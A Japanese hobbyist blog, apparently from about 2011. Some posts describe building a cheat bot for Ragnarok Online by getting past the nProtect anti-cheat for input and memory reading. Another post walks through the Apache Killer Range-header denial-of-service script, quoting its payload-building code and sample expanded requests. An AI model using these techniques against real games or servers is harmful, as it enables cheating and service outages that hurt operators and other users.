絵を描いたりネットいろいろ
スポンサーサイト
上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
ちーとやbot2
一応、bot
かなりひどい方法ではあるけれど、
とりあえず作れた
それの情報は非公開です
こういうのは、公開したところからセキュリティホール塞がれるものだからね
でも作り方がひどいから100%の満足にはいってない
でもまぁ、とりあえずBOT

キーマウスのところは突破したから
あとはメモリMAPから、いろんな情報を引き出すしかないけど
Ollydebugは起動した瞬間にnProさんがWindowsに何か仕掛けて
ゲームを隠したり、windowsを再起動させるしかないような状況にされるみたいなので、
そういう風にならないデバッガを見つけるか、自作するしかない

プロセス名だけみて、そうしてるんだったら回避余裕なんだけどな
つかOllydebugの使い方イミフだし、別にいらないよ
うさみみハリケーンはどうだったっけ


キーマウスメッセージ送受信のところが、ちょい酷いから
botをまともに作るんだったら、
DirectInputのメッセージ送受信のところをどうやって突破するか

HKLM\Software\Microsoft\DirectInput\Emulation

Emulation キーは DWORD 型

0x08 (キーボード用)
0x10 (マウス用)
0x18 (マウスおよびキーボード用)

HKEY_LOCAL_MACHINE
SOFTWARE
Microsoft
DirectInput


よくわかんないけど、
このあたりの設定だけでいけるなら簡単だけど、どうかね

また今度試す眠い


うぇwwwうぇwww
超はらへったしつかれた
夕飯たべて ネトゲして ゆゆさまかいて ねる
    0..
ちーとやbotのためのメモ
jtk

MapVirtualKey

SendInput

DirectInput

gdb デバッガ

スキャンコード


Rubyからいろいろやってたけど構造体や配列関連で面倒くさくて吹っ飛んだ

また時間できたときに次はC++からやる

さすがにnProは硬いのかなぁ


とかとか、
ここまで調べてて気づいちゃったので終了
つくれそうww

AIとかは無いから、本格的なBOT作るとしたらAIを0から作らないとなんだけどね
だから今の所はまだマクロと変わらないんだけど、
とりあえず某ネトゲでのJTKみたいな機能の少ないマクロじゃなくて
ちゃんとした自作のマクロを動かす手段はたった今出来上がった

わーい、やっとBotterになれたよー☆♪
まぁ私はBOTとかJTK頼らなくても十分強いので
少し動かして試して封印するでしょう

    0..
2ch鯖おち  2011-01-21~~22

ずっと原因が不明っていわれてたけど
運営スレはなんかハードの故障ということでまとまってる

まぁもし誰でも鯖を落とせるようなバグだった場合
公表しちゃ不味いしね

寿命での故障じゃなくて
外部要因による故障だったらおもしろかったけど
真偽はどうでしょう
2ch運営は大変ですね
    0..
2011-ROで動くマクロ、Joy To Key
ラグナロクでJoy To Keyが動いてしまうようです

前からそんな噂はきいてたけど、めんどくて試してなかった

ちょっと今日ためしてみたら、普通に動いた

Joyパッド動かす事で、ROのマウスカーソルが動いて、クリックも出来る

Joy To Key単体では、ちょっとマクロ機能がしょぼいけど

ALT+TABも出来るので

工夫すれば別マクロソフトとの連動も可能かな
連動させる所まで、マクロ組んじゃったら、何でも出来てしまうと思う

どうやってROのセキュリティ抜けてるか気になるから
気が向いたらあとで解析

最近のイベントでスロットとかいうのがあって、
ずっと放置で数百m儲けられるらしい

運営は対策を急ぎましょう


joy_to_key.jpg


    0..
Ragexe.exe
ro_hack_512.jpg


はぁ???

飽きた


最近、あれをあーするバグをGvで使ってる人がいるって噂を聞いて
出来るかどうか試すために、まずは
ROクライアント強制終了の方法探して、 とりあえず強制終了は、こんな感じで Process Hacker 2 可能だったんだ

でも、やりたいことは出来なかった

あと1つまだ試していないのは、
重力エラーを故意的に引き起こす事

ちょっと10分くらい後ろで動画再生したり東方プレイしたりしてみて
普段だったらこのくらいで落ちるはずなんだけど
なかなか落ちないからやめた


不正やMPKはやめましょう
    0..
apache2
----------
長いから追記へ

------------------
    0..
01
2chおちてる

なんか
apache killerっていうので落とされてるって噂
今から24時間以内にはパッチ公開してくるらしい

そんで killapache_pl.bin っていうファイルに行き着いた
ライセンスからんでるとめんどーなので全ソースはのせないです
http://seclists.org/fulldisclosure/2011/Aug/175
http://packetstormsecurity.org/files/view/104249/killapache.pl.txt

こういう系のはやった事ないから憶測でかいていくけど

多分 この行
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

http://sourceforge.jp/magazine/11/08/25/0351236
の記事みると

 Apache KillerはFull-disclosureというメーリングリストで先週公開された。問題となっているのは「Range header DoS」と呼ばれる脆弱性。リモートから多数のRange指定を含むリクエストを送ることで、ターゲットシステムのメモリとCPUを消費させるというもの。

ってことらしい
rangeっていうのは、範囲って意味で

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
の中の
bytes=0-$p

これが問題の箇所っぽいな


変数$pに代入してその中に$pが入ってるっていう謎なんだけど、

とりあえず最初は$pには


for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}

ここで代入されていて
,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17
,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33
,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49
,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65
,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81
,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97
,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-1
11,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124
,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5
~~中略
,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
こんなデータが入ってて


"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";


こんなデータを作って、送信してるっぽい
そんで次のループごとに、$pに$pを展開代入してるから変なデータになっていく


"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";



"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes="HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";



"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes="HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-"HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5.....,5-1298,5-1299\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";


----

ソースみるとこうなっていくように見える
けど実際に動かしてないから、間違ってるかもしれない 動かせる人は動かして試そうっ

この攻撃方法で落ちるんなら

Apache側が上手くこのデータを解読できないっていうか、
処理に時間がかかるにもかかわらず、解読しようとしてしまうのかもしれない
そういうデータは解読しようとしないで端から捨てるようにしなくちゃいけないんだ

だとすれば1人がこれを実行した時点でApacheサーバー落ちるのもありえそうです

へーーーー
すっごーーーい

ゆっゆっゆ!

    0..
kakikomi